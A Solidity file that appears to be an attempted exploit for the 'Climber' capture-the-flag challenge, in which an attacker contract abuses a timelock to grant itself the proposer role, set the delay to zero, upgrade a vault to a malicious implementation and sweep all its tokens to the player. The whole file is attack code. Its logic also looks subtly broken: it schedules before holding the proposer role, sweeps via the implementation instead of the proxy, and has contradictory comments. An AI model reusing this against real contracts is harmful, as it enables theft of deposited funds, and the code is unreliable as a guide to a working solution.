// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;

import {ClimberTimelock} from "./ClimberTimelock.sol";
import {ClimberVault} from "./ClimberVault.sol";
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import {Initializable, OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// UUPSUpgradeableを継承し、initialize関数をオーバーライドする必要がある
contract YourContract is Initializable, OwnableUpgradeable, UUPSUpgradeable {
    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;

    constructor() {
        _disableInitializers();
    }

    function initialize() external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
    }

    function setSweeper(address newSweeper, address token) external {
        _sweeper = newSweeper;
        // Emergency sweep functionality is now controlled by us
        IERC20(token).transfer(_sweeper, IERC20(token).balanceOf(address(this)));
    }

    // Upgrade authorization is not needed for our exploit
    function _authorizeUpgrade(address newImplementation) internal override {}
}


contract MyContract {
    ClimberTimelock private immutable _climberTimelock;
    ClimberVault private immutable _climberVault;
    YourContract private immutable _yourContract; // Our malicious implementation
    address private immutable _playerAddress; // The player's address to receive tokens
    address private immutable _tokenAddress; // The DVT token address

    bytes32 constant PROPOSER_ROLE = 0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1; // keccak256("PROPOSER_ROLE");

    constructor(
        address payable timelock_,
        address vault_,
        address yourContract_,
        address playerAddress_,
        address tokenAddress_
    ) {
        _climberTimelock = ClimberTimelock(timelock_);
        _climberVault = ClimberVault(vault_);
        _yourContract = YourContract(yourContract_);
        _playerAddress = playerAddress_;
        _tokenAddress = tokenAddress_;
    }

    // Step 1: Zero out the timelock delay and grant proposer role
    function exploitStep1() external {
        // Schedule the grantRole and updateDelay operations
        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory dataElements = new bytes[](3);
        bytes32 SALT = 0; // salt doesn't matter for these calls

        // 1. Grant PROPOSER_ROLE to our contract
        targets[0] = address(_climberTimelock);
        values[0] = 0;
        dataElements[0] = abi.encodeWithSelector(
            AccessControl.grantRole.selector,
            PROPOSER_ROLE,
            address(this) // Grant role to our contract
        );

        // 2. Set delay to 0
        targets[1] = address(_climberTimelock);
        values[1] = 0;
        dataElements[1] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, uint64(0));

        // 3. No-op call to self for scheduling (necessary to fulfill target count)
        targets[2] = address(this);
        values[2] = 0;
        dataElements[2] = new bytes(0);

        // Execute the scheduled operations immediately (since delay is 1 hour initially, this will be delayed by 1 hour)
        // We will call this again after the first execution to make it happen sooner.
        _climberTimelock.schedule(targets, values, dataElements, SALT);
        _climberTimelock.execute(targets, values, dataElements, SALT);
    }

    // Step 2: Upgrade the vault and sweep funds
    function exploitStep2() external {
        // We need to re-initialize our contract after the vault upgrade has happened.
        // The vault will be pointing to our _yourContract implementation.
        // First, let's re-grant PROPOSER_ROLE to ourselves since the timelock might have been re-initialized.
        // And also set the delay to 0 again in case the timelock was re-initialized.

        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory dataElements = new bytes[](3);
        bytes32 SALT = 0; // salt doesn't matter for these calls

        // 1. Grant PROPOSER_ROLE to our contract (again)
        targets[0] = address(_climberTimelock);
        values[0] = 0;
        dataElements[0] = abi.encodeWithSelector(
            AccessControl.grantRole.selector,
            PROPOSER_ROLE,
            address(this) // Grant role to our contract
        );

        // 2. Set delay to 0 (again)
        targets[1] = address(_climberTimelock);
        values[1] = 0;
        dataElements[1] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, uint64(0));

        // 3. No-op call to self for scheduling
        targets[2] = address(this);
        values[2] = 0;
        dataElements[2] = new bytes(0);

        _climberTimelock.schedule(targets, values, dataElements, SALT);
        _climberTimelock.execute(targets, values, dataElements, SALT);

        // Now schedule the upgrade and then execute it
        address[] memory upgradeTargets = new address[](1);
        uint256[] memory upgradeValues = new uint256[](1);
        bytes[] memory upgradeDataElements = new bytes[](1);
        bytes32 upgradeSALT = 0;

        // Schedule the vault upgrade
        upgradeTargets[0] = address(_climberVault);
        upgradeValues[0] = 0;
        // Upgrade to our malicious contract and then call initialize on it
        upgradeDataElements[0] = abi.encodeWithSelector(
            UUPSUpgradeable.upgradeToAndCall.selector,
            address(_yourContract),
            abi.encodeWithSelector(YourContract.initialize.selector)
        );

        _climberTimelock.schedule(upgradeTargets, upgradeValues, upgradeDataElements, upgradeSALT);
        _climberTimelock.execute(upgradeTargets, upgradeValues, upgradeDataElements, upgradeSALT);

        // Now that the vault is upgraded, call the sweeper function on our new implementation
        // This will set the sweeper to the player and transfer all tokens to the player.
        _yourContract.setSweeper(_playerAddress, _tokenAddress);
    }
}